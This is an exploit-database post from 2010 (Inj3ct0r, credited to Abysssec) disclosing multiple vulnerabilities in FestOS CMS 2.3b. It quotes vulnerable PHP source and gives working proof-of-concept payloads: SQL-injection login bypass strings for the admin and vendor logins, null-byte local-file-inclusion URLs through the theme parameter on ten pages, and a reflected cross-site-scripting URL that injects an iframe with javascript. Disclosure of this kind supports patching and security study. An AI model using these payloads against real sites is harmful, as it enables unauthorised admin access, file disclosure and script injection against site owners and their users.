Home / os / win7

[webapps / 0day] - FestOS CMS 2.3b Multiple Remote Vulnerabi

Posted on 08 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>FestOS CMS 2.3b Multiple Remote Vulnerabilities | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: webapps / 0day | Exploit author: Abysssec' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>===============================================
FestOS CMS 2.3b Multiple Remote Vulnerabilities
===============================================

Title  : FestOS CMS 2.3b Multiple Remote Vulnerabilities
Affected Version : &lt;=2.3b
Vendor  Site   : http://festengine.org/
  
Discovery : abysssec.com
  
  
Description :
  
This CMS have many critical vulnerability that we refere to some of those here:
  
  
Vulnerabilites :
  
1- SQL Injection
  
Vulnerability :
 
1.1- in admin/do_login.php line 17:
 
// Process the login
$query = &quot;SELECT userid, roleID, username FROM &quot;.$config[&#039;dbprefix&#039;].&quot;users WHERE LCASE(username) = &#039;&quot;.strtolower($_POST[&#039;username&#039;]).&quot;&#039; and password =&#039;&quot;.md5($_POST[&#039;password&#039;]).&quot;&#039;&quot;;
$res = $festos-&gt;query($query);
 
poc: in admin.php page:
username: admin&#039; or &#039;1&#039;=&#039;1 
password: admin&#039; or &#039;1&#039;=&#039;1
  
1.2- in festos_z_dologin.php:
$query = &quot;SELECT vendorID FROM &quot;.$config[&#039;dbprefix&#039;].&quot;vendors WHERE LCASE(email) = &#039;&quot;.strtolower($_POST[&#039;email&#039;]).&quot;&#039; and password =&#039;&quot;.$_POST[&#039;password&#039;].&quot;&#039;&quot;;
 
poc: in applications.php page:
email: anything
pass: a&#039; or 1=1/*
 
2- Local File Inclusion (lfi):
 
Vulnerability in index.php:
 
line 41:
 
if(isset($_GET[&#039;theme&#039;]) &amp;&amp; !empty($_GET[&#039;theme&#039;]) &amp;&amp; file_exists($config[&#039;ABSOLUTE_FILE_PATH&#039;].&#039;themes/&#039;.$_GET[&#039;theme&#039;])) {
...
require_once($themepath.&#039;/includes/header.php&#039;);
 
poc:
http://localhost/festos/index.php?theme=../admin/css/admin.css%00
http://localhost/festos/artists.php?theme=../admin/css/admin.css%00
http://localhost/festos/contacts.php?theme=../admin/css/admin.css%00
http://localhost/festos/applications.php?theme=../admin/css/admin.css%00
http://localhost/festos/entertainers.php?theme=../admin/css/admin.css%00
http://localhost/festos/exhibitors.php?theme=../admin/css/admin.css%00
http://localhost/festos/foodvendors.php?theme=../admin/css/admin.css%00
http://localhost/festos/performanceschedule.php?theme=../admin/css/admin.css%00
http://localhost/festos/sponsors.php?theme=../admin/css/admin.css%00
http://localhost/festos/winners.php?theme=../admin/css/admin.css%00
  
3- Cross Site Scripting:
 
in foodvendors.php, festos_foodvendors.php page has been included.
 
lines 31-36.
 
switch($switcher) {
    case &#039;details&#039;:
        if(!isset($_GET[&#039;vendorID&#039;]) || ctype_digit($_GET[&#039;vendorID&#039;])===FALSE || $_GET[&#039;vendorID&#039;] == &#039;&#039;) {
            $template = &#039;foodvendors_nonespecified.tpl&#039;;
            break;
        }
and in line 74:
$tpl-&gt;set(&#039;vType&#039;, $_GET[&#039;category&#039;]);
 
and foodvendors_nonespecified.tpl
 
line 123:
 
&lt;p&gt;Back to the list of &lt;a href=&quot;&lt;?php echo $_SERVER[&#039;PHP_SELF&#039;];?&gt;?view=list&amp;vTypeID=&lt;?php echo $vTypeID;?&gt;&quot; title=&quot;&lt;?php echo $vType;?&gt; Category&quot;&gt;exhibitors in the &lt;?php echo $vType;?&gt; category&lt;/a&gt;.&lt;/p&gt;
 
the category parameter is vulnerable to xss:
poc:
http://localhost/festos/foodvendors.php?view=details&amp;vendorID=4&amp;category=%3Ciframe%20src=javascript:alert%28%22XSS%22%29;&amp;vTypeID=28


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-08]</pre></body></html>

 

TOP

Malware :

Exploits :